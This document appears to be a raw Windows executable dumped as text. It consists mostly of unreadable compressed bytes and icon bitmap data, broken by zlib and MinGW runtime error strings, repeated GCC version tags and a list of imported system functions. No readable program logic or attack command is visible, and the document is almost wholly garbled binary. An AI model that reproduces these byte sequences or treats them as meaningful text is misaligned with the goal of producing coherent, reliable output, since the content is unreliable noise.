|ô’¨Hè÷›X=#¨?X1¶‰¡÷ÓvÏj¬Ê¨¾áÃ`„^ pÒæ·ô©¸YLß<ÑÂç…i~€à{Ë/ÃwHkË ¢s±hÇaÇ)Ù¸ LDo˜õüÓÿîfP~VÚ7¹'M¶@(¤°ïÆ ˆ£Û°9g×+Òx‘“nô;&÷ƒšf‘/?ˆ)“Xí´D`T ø1M¨ß¦ñϺþ’ßìF.¸‰T›gì'pqðH»ÉL/ÞÛù€0cEçUk? œÓƒÇùÁ6hyŠrä]7Ë\áP®NTÿ@öè˜%®‹ˆs7ï‚@ø¼>'!é$™UxA‹àׯ3\°ÊíY¶;UåÑ^GP~°ÿìÕb;!lÚ‡F È2éçpŽŽ‚(ížÔQù±‚äV_:X1:§ ƒ3næ †Áµ:¦m½@á¤ü†ÁI)/¯õNJ2"vóŠž–˜+¾x —ÙxôÉKÀH®.ÒýÀjAf¥÷–^O*9y]Ÿ–—å#ñòMkõ×~`çbÑŽ_޶렎Rzµé7hFÙм!¼ˆß1ê0cV"Öùašjž½¦½¿ÁØ­´n6 SrNš¥Î)ÿ·{†Çát’ÙÍ*¬¾¨8F€¥v#ØÆfu`zrÏ®þÊsÉ›W¤ñ"ï–Gý­9©E^ÌvMîÎñ‰cÜD&døAèù/yQA“4S&±ÚëšÖ¿³ùÆé E¡Œðb¡Li<›Q¾„'6Û–’™5..þP&T¹™žèÞüŒ]q4áw©6.ΊI«?æE»ƒ ãà‘v[\öIéYýñU>˜l‚!Ô>aDƋΪ~7©ÏÖA8nÃ&]|v‰³ÄÊîÖYÖoᡱ óäK¨yËi׫w²¹Â¡\~Æ9œ©þ€$™å6 6 ŽQn†f§>ÚqÂ,oÞ,”Ó¹I ð±¸æ•£ I{±.CÒ>HûnY-éÛöÃQg‘¦Ì°©t Îzf¹a”Þñinvalid distance too far backinvalid distance codeinvalid literal/length codeÕAÒA@œ@Unknown error_matherr(): %s in %s(%g, %g) (retval=%g) Argument domain error (DOMAIN)Argument singularity (SIGN)Overflow range error (OVERFLOW)The result is too small to be represented (UNDERFLOW)Total loss of significance (TLOSS)Partial loss of significance (PLOSS)8AWAtA”AÌAðAMingw-w64 runtime failure: Address %p has no image-section VirtualQuery failed for %d bytes at address %p VirtualProtect failed with code 0x%x Unknown pseudo relocation protocol version %d. Unknown pseudo relocation bit size %d. GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev0, Built by MinGW-W64 project) 4.9.3GCC: (x86_64-posix-sjlj-rev1, Built by MinGW-W64 project) 6.2.0dàÀê0âüàðëÈâ âììã(âìôãüãä&ä>äZälä~ä’ä¨ä¾äØäîäþäå(å:åNå`åzåŠåšå¶åÎåÞåðåæ æ4æNælætæˆæ–æ²æÄæÔæêæç çç(ç:çNçXçjçxç†ççžç¨ç²ç¾çÐçÚçæçîçöçè èèè(è6èDèNè\èjètè~èŠè”èžèªè²è¼èÈèÐèÚèâèìèöèéééé é*é4é>éJéTé^éjété~éˆé’éœé¦é°éºéÄéÎéØéâéîéøéê êê$êüãä&ä>äZälä~ä’ä¨ä¾äØäîäþäå(å:åNå`åzåŠåšå¶åÎåÞåðåæ æ4æNælætæˆæ–æ²æÄæÔæêæç çç(ç:çNçXçjçxç†ççžç¨ç²ç¾çÐçÚçæçîçöçè èèè(è6èDèNè\èjètè~èŠè”èžèªè²è¼èÈèÐèÚèâèìèöèéééé é*é4é>éJéTé^éjété~éˆé’éœé¦é°éºéÄéÎéØéâéîéøéê êê$ê«CreateProcessWÔDeleteCriticalSectionðEnterCriticalSectionExpandEnvironmentStringsW`FormatMessageAŒGetCommandLineWÅGetCurrentProcessÆGetCurrentProcessIdÊGetCurrentThreadIdáGetEnvironmentVariableWãGetExitCodeProcessGetLastErrorGetModuleFileNameWGetModuleHandleAFGetProcAddressdGetShortPathNameWfGetStartupInfoW|GetSystemTimeAsFileTime‰GetTempPathW˜GetTickCountìInitializeCriticalSection'LeaveCriticalSection*LoadLibraryA,LoadLibraryExWVMultiByteToWideChar—QueryPerformanceCounterSetDllDirectoryW SetEnvironmentVariableWlSetUnhandledExceptionFilterySleep‡TerminateProcessŽTlsGetValue›UnhandledExceptionFilter»VirtualProtect¾VirtualQueryÇWaitForSingleObjectßWideCharToMultiByte-__argc7__dllonexitD__lconv_inith__set_app_typek__setusermatherrt__wargvv__wgetmainargsw__winitenv_amsg_exit¡_cexitþ_findclose_fileno_fmode*_fullpath7_get_osfhandleH_getpid^_inittermb_iobÉ_locko_onexitµ_setmodeæ_statõ_strdupG_unlocke_vsnprintfm_vsnwprintf„_wcmdlnÇ_wfindfirstÊ_wfindnextÎ_wfopenß_wmkdirí_wremoveñ_wrmdir_wstat _wtempnamabort+calloc-clearerr6exit9fclose:feof;ferror<fflushFfprintfLfreadMfreeSfseekVftell[fwrite`getenvˆmalloc‹mbstowcsmemcpy©setbufªsetlocale¬signal¯sprintf´strcat¶strchr·strcmp¹strcpy¾strlen¿strncatÁstrncmpÂstrncpyÅstrrchrÉstrtokâvfprintfïwcscatòwcscmpôwcscpyøwcslenLMessageBoxAntohlàààààààààààààààààààààààààààààààààààààKERNEL32.dllààààààààààààààààààààààààààààààààààààààààààààààààààààààààààààààààààààààààmsvcrt.dll(àUSER32.dll<àWS2_32.dll0@@`š@@œ@ð›@BBÕA ðA €€h€€€˜€°€È€à€ø€@P`p€ e(€°À¨h ¨)hx.,•¨Ã¨%Pé¨øùh`þh(0`  '-5:~RyS$sR,dR<}c>]l&iweD~iM}lV^tkUvudddoooypguuu{{{„UŠZŠ[“c«oŠ]$Œ`,•e"–h&h%‘c+–h)™k+„f>Šh:‘f4”j4šn2•k:šm9q6r9¢l" k+«s(º}&¡q5¨t2 t<¯|:oGˆlJ™oApCrMštE”sKœvIœxM†nPŠrTƒqY‹u[¡vC¤yC©{C¥}J¨~J zR‡wd„xg{fvh‹}m„}t¾)¼ƒ3º„;¿ˆ9­‚Lµ„E¸†C²„L¦VªQ®ˆW¤‚\¬ˆZ³‡SºŽW¶Ž]¿Qƒv…‚‹„{’„r”‡z§†b¬‹e¬k¯n³‘e²’hº–j¿™j¯’r²•t¹štµš|¹œx¿ zÃHÉ›]ÚcÊ¥rãz)zL|…D~>ƒ›7“¥@…xž§^¡¹›Ú/žÓ¦Ü+¦Ï5¤Í&¤Ö$«Ü.¬Ú:¤Ò2¬Ù.±ß7¶Ú¬î®õ´þ ­ê.¸ç-¹é$·÷ ·þ!¹þRÂP¥ÇU©ÌI«ÑV¬Ñ[²Õ|´Íd®Ðb°Õq¶Òy¶Ðs¸Óy¸×+Ãþ2Ãñ5È÷0Æþ5Ëý9Îþ=Òþ@ÀÞBÅãMËâFÑòBÕýFØþJÜþQÙòTâþYåý\èþ‚‚‚Š…€Œ‡ŒŒ‹–Œ€•‰œ–••”˜——™˜–µ›€¸‚¾¥„£ ¾ª–¤¤¤«­¤«««´´´¼¼¼Ë­†Ä©ˆÈ¬‰Ö³‚Á¬•Á®šÉ³—ıͶ™Ð·–ؼ—É· Ê¹¦Ò¿¨ßÁ—ÔÀ¦ÜÇ©ÔƵØÈ´ÖɺØÌ¿äÍ«áÑ»ƒµÍ•¼Ð˜½ÐžÁÒ¡ÂÓ¬ÇÔ¦ÈÙ¬ÌÜ»ÎؾÖâÃÃÃËËËÚÑÅÓÓÓÞÙÒØØØêÙÀåÛÌâÜÕîäÔäàÜêäÝÜâäÙæíæææëëëóîèëïñîòôóóóùøöóöøúúúÿÿÿ²²²b ÆÆèèèèÆÅļµ²µ"" ÆÆèèèèèééééééëëëéèÅļ¼ºl""?ÆÆÆÆèèèèèééëééëëëëëíííÀAA)(6Fclc"""HÆÆÆÆèèèèèéééééëéëëëííí¸QQVTQZQZQc;"""''LÅÆÆÆÆèèèèèèééééëéëëëëí¶QQQQTVTTT+%"""''³ÅÆÆÆÆÆÆèèèèéèééëéëëëëíaQQVTZQTTT)"""'''µÅÅÅÆÆÆèÆèèèéèéééééëëëëIQQTQTTZTT6!""''''(¹ÅÅÅÅÆÆÆÆèèèèèéééééëéëë>QTZQTZTTTD"""''**$¼ÅÅÅÅÅÆÆÆÆÆèèèèèééééééë5QQZTTTTZTX""''0**#ÂÄÅÅÅÅÆÅÆÆÆèèèèèéééééëè8TZTTTZTTTf""''**++ ÄÄÄÄÅÅÅÅÆÆÆèÆèèèèéééééÅ@IKFTTTZSZTSS2*BòöæÞš—•}|ÃÒË¿mhWVQQQQQQTQTTTTTZTZTZSZTS)+Y↠£¤¥¥¤–ãööööòìêÚÔÍÈpi\ZTZTTTTTTSTSSF 2wŠ £¤¦«¬¬¬«¦öööööööööööööòðêÚÔÏÉuj[ZSSU&‹’£¥«¬­­¯­­­«¡ßö÷ööööö÷ö÷ö÷ö÷ööööööööÇSTf7~’ ¤«­¯°°±°¯­¬¦‡ô÷÷÷÷öööööööööö÷ööööööÙSSnŒ’£¥¬¯°±±±±±¯­¬¢á÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷öö÷ö÷öÖSS½xŒ ¤«¯±±±±±±±¯¯­¦÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷ÐSSeyŒ ¥¬¯±±±±±±±±¯­«œ÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷ÇS3Xy‘ ¥¬°±±±±±±±°¯­¬ž÷÷÷÷÷ù÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷tS19y’ ¥­¯°¨±±±±±±°¯¬žùùøùø÷øùù÷ùøù÷÷÷ù÷÷÷÷sS-%y’ ¥­°°¨±±±±±±¯¯­žûùùùùùøùøùù÷øùùøù÷ùøù]S"%{‘ ¦¬¯°§±±±±±±±¯­”ààààààùùøùøûùûùøùùøù÷SP2&{’ ¥­¯°¨±±±±±±°°¯­­«¦¥¤€÷ûùùúøùøùø÷û÷ûóOOV+{’ ¥­¯°§±±±±±±±±¯¯¯¬¬«¥€ùûûûûùûùûùûùûùïOOdA{’ ¥­¯°§±±±±±±±±°°z§«„ùûûûûûûûûûûûûûÝOOoD{’ ¦­¯°§±±±±±±±±±± «„úûûûûûûûûûûûûû×OO¾E{’ ¥­¯°§±±±±±±±±±±v«„úûûûûûûûûûûûûûÑONkE{’ ¥­¯±§±±±±±±±±°°© v¬¦‡ûýüûýûýûûûýûûûÊN/cE{’£¥­°±‰°±±±±°°¯¯¯¯­­«¤žýýýýüüûýüûýûüûtN.¸ã9¼é!¹ÿ$»þ&½ÿ(¿þ]­ÆK³ÚN´Ú_·ÝV¼Ül»ßKµáI½äR°àW¼àb¿à4Àì?Æé>Éï)Àþ,Âþ>Ï÷1Çÿ4Éþ7Ìþ8Îþ;Ðý<Ñþ?ÔÿsÀÞDÆäGÊæIÌèFÒóJÓñBÕþE×þGØûFÙþKÙúHÚþJÜÿLÝþTÜôaÁáOàþQàþTãþVäþYãúYæþ[èþ\èþ………•‰”””˜—•œ™– –‰¹Ÿ¢š¦¡œ†©¯™®²¢¢¢ªª©­­­°°°´´´¹¹¹½½½Á¥„Ǫ‡Â©‹Ë®ˆÕ´†Å¯’Ë´—Ú¿™Ë¸¡È¾®Ð½¦ÞɬÑ´ÒĶÕƵãÓ¿‰¾Ô¿Ö‚ÁÚ´ÎÚ·ÐÛ‘Éà«ÓäÁÁÁÆÆÆÉÉÉÍÍÍÚÐÄÝÒÈÒÒÒÔÔÔßÚÓØØØÚÞßçÝÐêäÝÆÛåÑÛàÏàéäãâæææëæáìæáéééíííõïçíðòñññóôõõõõúúúÚÑÿÿÿÿ ½ÉÇÄ»¹  ÄÊâãããäååèèåâÈÇÀ ÆÊÊââãääååèèéëëdGGNF6-ÈÉÊÊââãääåååèééYGGNNNN*ÈÉÉÊÊââããäååèèé4GNNNNN+ÇÈÈÉÊÊââããäååèè3NQNNNL1ÇÇÈÉÉÊÊââããäååä/NNNNO:e@ÆÇÇÈÉÉÊÊââããäåÊ=NNNOO$^AÅÆÆÇÈÈÉÊÊââããäÅNNONOO6?%',1@Z\º¼ÄÇÊÊâããäÁNNOOOOQS`P<799<<>>;/.3W[]¾XNNOOOMa7ìÜŒŠ‰ÂÔÓÐËgaUGGNNNOOOOMMMh|˜›Ÿ § ƒßöóóóóòêæÙÕÑÌmcTIIÍ){—œª±²²®§„ðööóöóööóöóóóöónJy…š¨²·¸·´® Ý÷öööööööööööööÎJt‡±¸¸¸¸·³¬“÷ö÷ööööööö÷öööoHw—Ÿ±¸¸¸¸¸´­°÷÷÷÷÷÷÷÷ö÷÷ö÷÷l(¿w— ³¤¸¸¸¸¶±°ú÷÷ù÷÷÷÷÷÷÷÷÷÷j#bx— ²£¸¸¸¸¸²ßÞÞÞ÷ú÷ú÷÷÷÷÷÷K&Rx—Ÿ³¤¸¸¸¸·´±¬§÷úúú÷úú÷úõDG0x˜Ÿ³£¸¸¸¸¸·´s–€ùúúúúúúúúíDVx—Ÿ³¤¸¸¸¸¸¸·q€úûûûûûúúûÚDfx˜ ²£¸¸¸¸·¶¶r•‚ûûüûûûüûûÖCË9x— ³µ¢¸·¶´³±®¬Ÿ¡üüýüýüüüüÒC>x— ²¸¯¢£¦«©™”àüýýüüüüüüüÏCGv— ³¸¸·´¥ÛïñùýýýýýýýýýýýýpBFv—Ÿ²¸¸·´­áýÿýýýýýýýýýýýýýk!_v‡®·¸¶±¨áýÿýýýýýýýýýýýýýi ‘†›¨²³²¬žÃØ×çõýÿÿÿÿÿÿýÿýÿE }˜§¬¬ ‹ØØØØ×æîø"UŽz~’ÿÿÿÿðÿààààààÀÀÀÀÀÀÀÀÀÀ€€€€€€€€€€€Àààðÿÿ( 8?•e —i'šl-œo3žs8œr=p@švH‘z[{_š}X¤{F¦K£}N¤~M±€?®‚M¶†I±…M¤ƒZ­‹^¸ŒU¼Vž…fœˆjžw’‡z¼–f¡s¬”z¶™r¹šw¾Ÿz¾ }Á˜dÄœiÀžvʨzE”®7¨Ã.ªÝ3°Õ4¯ær¼ÏB½î1Áï:Äð5ÊþJÂçGÂïUÎï[ËîDÍó@ÓþD×þGÙþHÙýMÞþP×òRÙòTÜôQÞúpÂæpÉãsËèqÏêQàþUãþVäþYæþ\èþ’‚›”Š———œœœ¦•«ž¿¦…ª •°§®®®´´´¹¹¹¾¾¾À¥†Ä§…Ç«ŒÇ­È±•Ö¾žÍº£ßÚËǽÒñãίÔìÂÂÂÇÇÇÌÌÌÐÐÐÔÔÔçØÃæß×êáÔçàØÑÞäçççìéäéééíííðìèãìñïððñññööööøøùùùüûûüüüØÿ1ÞÿQãÿqéÿ‘ïÿ±öÿÑÿÿÿ/&PAp[t°ŽÏ©ðÃÿÒÿØ1ÿÝQÿäqÿê‘ÿð±ÿöÑÿÿÿ/P"p0>°MÏ[ðiÿyÿŠ1ÿQÿ¯qÿÁ‘ÿÒ±ÿåÑÿÿÿ/Pp ° Ï ðÿ ÿ>1ÿ\Qÿzqÿ—‘ÿ¶±ÿÔÑÿÿÿ/Pp!+°6Ï@ðIÿZÿ1pÿQ†ÿqœÿ‘²ÿ±ÈÿÑßÿÿÿ/ P6pLb°xÏŽð¤ÿ³ÿ1¾ÿQÇÿqÑÿ‘Üÿ±åÿÑðÿÿÿ,/KPip‡¥°ÄÏáððÿò1ÿôQÿöqÿ÷‘ÿù±ÿûÑÿÿÿÿ/-P?pRc°vψð™ÿ¦1ÿ´QÿÂqÿÏ‘ÿܱÿëÑÿÿÿÿ/Pp!°&Ï,ð>ÿX1ÿqQÿŒqÿ¦‘ÿ¿±ÿÚÑÿÿÿÿ LLKOUbcdedb#Y TUbcdef"ISTUbcdeXJRSTUbcU MNQP@32-^_\ZW&(1DE;Bnnlnlll$*9HHG4onononn*:>HH4kkroooo*:=HHF)/rsrrmZ*9>HHH+ststiV*9>F¶z¾2Óƒ()Î [:Š 3Ÿ—Š””$…ÓS76]¢¬ž«—ô¢éd9¥!D¤ƒN õõ¨©iÅÅ‹­¨%ûÎΕBÃ)YÂËäåÏ ØÓ×uu%\ ñ }š>7Ù"Û²(¤bøàl œ…Âå%ÂÑ%‰#x áëÌs幦Ÿ¥æŠ­R L$†ººVœ9Ý„ªSõ¨¿ÔNÔ%ýÝA¶ß“ˆ/0è쫺»®„x…ËD·O&„v/9ü7²M¤´˜™„±Ãs0vDrˆx/&ø€ À Çõ%nÏTrÎÈ9Q!š;qüXŽ­EsS—KVŒ‡?'=ýàb´_î:¼Þ¡lA*ù¥[Ù‘¾8ˆô§Rå ûF²ý»÷iÿ¹¬@¸~9Ùý–lsnŸŸŠ)ò0|PÑïÞDÐ< ëù‚g”ëìž!x7)@¯ ÂuP6r …Q}¶ û÷žÇ¹êfíF?Bvß#^û¢+# ï‹P¾0™ô‰ÒèhT T‚H® Tˆ\%nz^DöùdËPž£ýM¶Y¡7“íãªûª8—ᶎ:ú.9M-ÈMÆôI60'Â7ˆ!z/€°py Ç±”\§zv˜À$|´M–øx¾;vT+@ S;ŒÈ_"jAM_5ä•c([@G–òÈF —¶JÈ*÷.% ?X»VH6:Ôœ¡Šª°¶v);# í½2É)¦¦!˜–†¤Ô ²OW®58„žV:BÓPA`[_;á@ˆŸVæs$¥“1—OÌÃä1¹HJ X‰8 jÛ5Á=° »}À(%o JoåüÂcáp§*ë±iÓi´µõÐÛgÉûî#’À†¾hÈ+Á%”-È'í^¢pi•¨UÂ6‰œ7õ#ÑÅö€åy{“}ZJ墤0ƒŠò0°8¥…¹ä8W9¦÷èqFz*îüÃvT7÷8Aƒ¬ñšPW'.îÚŒÎÚóôr+Ù¾@@à™Ë]5 ¢ï'»7H™Çä$ãæéÅ(ÈMј'æ€]^ã!À»M àõ~Þ@(®Äæ$‚0:;{°qCNœ¨§±º”†ž"@ ãJHL(_H¹52¦â5+‚›.Ëô:e>”¸Ó5"¶µºDúa2aF)ÉIŸÁòQRAÅydS Z!pí8?;“ébÎä#“þñOOìÆî³”Ëë]Aô8„‰\ªØæSG¡ˆ–À/Éö#—mØ9a@8ÿhòò·I ƒ‡•¤ãÆò"¤¦9> nîº0øV#z|ƒÐµ&òAüúž66µ lÛVM‡éâC~w¹ñ=T1œRX©T]¿.µèÖê5z¯ªÈ®C륥%#3-9™„xsâ.%œ›²¾Ñó¢<:â”eúÄdM%øÊ‹±âP-Ç TÀèf䯹êê+vA)tÿ)Çýع¨ñrTyBà =iyùÄу30j!‚N"?Oì±³Ïâ;I6qßA"ÐÆBð`Î9â§ö¾0³×@ òø%¬[w’:Ñ–ü ç/G#öûP¶€:gd“J¢F±"E§¦„¬Šä,q ÷(Qç{&5rœ6=5¹Yé($D[¢ôàD'œº´(GÁ)×ÎËÉ@nf:RS’b.‚,G.Ð=òæ1<»ýd¡ý‘ÈAG] jwo"ªõ^Ç>r‘ÚŽ&ºiâ„ø)Š¿H¶ )JÅm3‹}_ÖˆV 8q'@û Gø3Ž¬ÝSâìvYÛKB—µcû=­CYrÔûU Œ8¦À‚.|{Ý)z©•D›ó…ÅØŸèFìÓP¾0Ôe›rl°Ub.ÕÄpº ЀŠìVjdˆ›ràb"†Órl]ü6‰[åÚyÙéÈHMQÛª_ËÚ+íÝš¿ AG[_…ÿ%}Aí²FðºÁÆ™.xö´·¡fÇt7+žèkˆps¢ó˜x€ìžÈJ JW‚4*öxŸ%nžË³DÏKx0ï5$˜Çz1Ô¥â?Dâ>#pÄoªaìØv»w_ —èü‚ët%º!ãʪ)ËÔV S×¹õ@íº~Lǹƒ$~’hh•ŸA‰Z¿©~­Ò r0„·NØTONRݹÝôk³Ùú·™å¥ÝçñðëGÙ±%¡aˆ•zÚ[qvÍëôä(‘Æ':qBüTÄ;@^:èÎ…¤qÓ=ˆ_´>6#!à†üüôê¾`Ð zV3` m¡Þ0^{õjk‡\¬ø>ôm(_HD,9…¥‘òiÜ™ò`s«†3j-W¹w¡QIbLI"59 9D§Öpj$S,ãÔx¦éÖô˜ù€‚lÅÈæú;AGÖ•pá³ûaèü°‚€¬Ê¥Ú¯z#áÔ²i?ªu‹O°£P\àñ…øÙýbDin-/ÔÄ}§èú|Pp—ø½@"p5êÅdæÐŽRñJ¬øÏ¿.й¯.9DoŸ'¯šH@ )a­X¾ͲI™(³–ðÁÚð× È©áŒÆI¾‡d6™jvfrÈVÊ uQ| >ÔEŽ‹ò³ŸÌôTÇl½×:ÒpèB î]¼K«ØGhÜÓ+— ÔÙÑIÚl8Qê[7 ÄO¹ËQ:GÿÃ×£˜÷8âpÆ< ˆÝIà¥TX®éV=粜¤€°èª ¬\~§N)ÆÜ/<¸G\©å )uj›n(Óõë!PÅszΨsŠ#5Ò T”` s3N­cëÃ[ “cjX£N,™é)®ºô• ·ú¨kíƼßnÑâiñaî…ê¹xvý›ènVúÍx 5Æn"»Õ¥ù)øÐì"+÷pº;OÜ€ 8Ý—8)@;WJåä àþnœ_¨ˆžãþêqÕÕMXú†Ò~Évýƒºo€:ŽM×:(…UŸÖEñÁÚ˜6åÖ”¨SÜÚŠ6³Ùá-U×ÖÇ°ó”1î´ÔdÅpÔ]©q… ùÏúhïámݽڻuN¯ïMÓ $œÛ²ªƒÐÖ%²¼ñ€ø Ù=4gR&Ȳ¾ñG œÀqèåúÚ9ï tàþa^ ¶€žnÚZ{z~vèÞ•gÚ )'§œ›’™A¶E$…['ƒÈLKÁ ªM‰YÇ‹ô¡®<ÅRN‰;-%YÜ„zu½ËB¼M!òa˜dãö†Â¸ã±í8§O"ƒ?Iàâî-h=CשÁ}صø¹DÖS<%:U¶üc׃zýYu}no#|7è‚ à@üÛ,⿾÷Rx`Gx00÷k×VâØÑKxüÄ-ØÛ<鄨)a(ÈQ†· ˸FÜt£Ü¼˜èØ9™é‰lûwUèK‚Ž%|â‰]8p®UMÓHÖsXAàÒá½hJ$GîÏst—× ^âÁ»çG°I¶–dönnÀnj/ X¥€³g±ì#5íŸqóçŸMd[öiˆAGzï÷Å3}º§Þ€/î>¯u5`´=­çNãâNj6Â3>Èv‹,ÀT²Û5¤8tü_hü p@ ëkAt ¸'Ù%gÂg=ÿŒŸTwý_?¾T׊—ÿ~ƒ&ÞŒ»¾¾2‘m—Q›'ö:aˆG4kú±ÖÇ6Tá1²±]N=TuQÓ0¥*nÁ µ¨Þ ô•5ص8¡Þ€ñºj撚Êø¾t) èÀý9ЛøÙ½ÈÚ/ôù7›À n*@Ø~î¥ÿkÇ­-xöéÝ(9þÞ–D¶¥0DÓˆÀyåŸeÏÝâ¹a¼Ò¦>ؼ‹T§÷¾´çþHJãÇê Ìû t··¡jÕ«ôðÙ&HØb3q€?Ü€%Ú`À…ÛÝÅ~X|\ÄÖðçj”õV1¯ù`|X Pà©]q€h9R´ÏE#óéÆÂIýˆãÑÖÿ¾h®‰ÊÉÞ£úÿW_ª€Fã6C½=8¹üÈ¡ýŽõL˜+yäP¶€ú~«³º4Ç”kòª¦}yôŠ…n)ÏW'ëy‹¿Ä¶ä@ðœ_ÑH€æÂ.±ÈÌï¹Îâ6èi KÔHb€ µ¹ÃbáHnל:pÄ$ ÏôýÖG´er*§ÛýHÂÁó­øä“»Õ|j?²…ñ )‹Íœ$@¨³£”Îv-nNHÅ!(_xù] uòGwÒQ™ñÝ ¯bd‰&8ùñD¯mAžÃ®sÀŽÀ³dnÅãTO# —!Ðî¤Jv¢xÄ ÜóÝÍ✸t,¿(zŸW§öÕAâ”~¤!RÌ?É;â!8¥±¥·?ºMù@®ã{µ–Ô¸ÆóêþÔºeènQ¼ÇÇ`ç¢QU¢Ÿöõ«l•´‘”¬0Hˆ2%5éi©H%[ZZF¤ŸÇ?§þ#  ¬@õôÿ½Dv¯[†ÙÑfPïx>»™µÖ-Ä› À: h—Œé†"QžÜ¡Hwg“#Q:‹Ÿø^Ç‘>ç”~_?ªG"Ç÷£‘fZ:{qûcÛÑÖRmüŒÀX'Ôwég6¯AG-Õp=‘ÞITz×]OMue8xè L-»Z]ÀŸy4¯û®»ø}n-ˈýn þ`Ðz_$HúuÝ Gò/×8#’œŒ€²fìÀ3ÙŽ#U q5Àp{Æop²Ð;Ýs/Î*Š¹Òwè%œÿ.TP™ˆ–_èIü’¶n=:¿k3šÏœ¤·è /Å=cz]¹Þ-[@ÅüWÈöÁ¼ü<̾n:’’‚¼ï*€£¾çaó`€@ÐYàõÖ˜Ÿñ' ¬û•õÄJðú¹Ÿ‘?EøË6Cˆ¸"ÐÁc ÑúœÞé{ã~‘\þù‰Ý8|±ÍÌ#+ @l¬=¸õª7à×ü_¢òæ\Ãt'àdûv*óçΛ…Œôt«Š­*Ì!À(Wú”ôx §çm®6˜V~›@¶ìì@¤R€7(ÀÛ €Wâü¾7F®X(žF¶wCø/À;'‡LÆP à§þÄaÔØENàû‰Ê›ÜO~ÿ‚³çLGAa¾íQ}äR•,ñ³:0ÈÝs ø ˆëóFA‘  Iì5ÞúÏÔ|¼ŒŒðÙ?m6ÀË0é5¶ÃEcðºÜÜد  ?¥k½¼°ë<~±ò„Åò/ýÔf‰RºNw[ *W/¥'û \“¨úµ8~t@I1¦M¿A…hÝ€“×_ÐAô7ß…ë¹ñ~.€Åv ÐÏõZ–´Ö°ùðÇz<75ÀÉ   Ý}ú‡î/p9ëdíÑ:|û‡^ìðŸ z»:q|Åëô[u «*ïZœ ‹€.éý±é3§¢´´DϲæN+kD$Ym^€šïcõ$ ‰üüƒñŠœ~ª€& ˆýLâ—µÎ#ìB6¡À ô½] 5â—ˆßðà€‹7)FÀ}{£š?Ÿžh‰è¨‘ — ®Û²Ü‘ª±¤Ùˆ‘ßéÂεà¿îUïi?VIÀáPˆÀkôbôeع(!Ÿ£ÀïH‚_¹æš«0|Ä€›T+jggüë  F(Ïçˆ\òæþž6‘øÏ€H°µ `ñÆÐ[Ïh_j€È.ÀÙžY¼Ñx?¿" ïÕ:9ÛÐ{ïT¿%8J†E@8±j)ºÕˆÒùU‰È›¾Gzè?ãÉf‹¦KlT˜[£( ¾t¢gŒx¾€ÿg=auè­ ó×9I@Dü^>¬#Тw,Àû%¼W :ÒÐÜÙ‹»Û†ŽaX> ¦‹aP“´Om\ƒöÚ‹´oÏ&@B¦’Šà~’à“Æ•ÌŒx-©+šKRåw!À €Î Èkèó"|Wð3ü' ,ñ Ä^ðe°",Ú@`:€¾±Ä+\!èÈ‚^_ô÷ößoC=ýŠ´Ä€vSäïìŽMh>«0þ 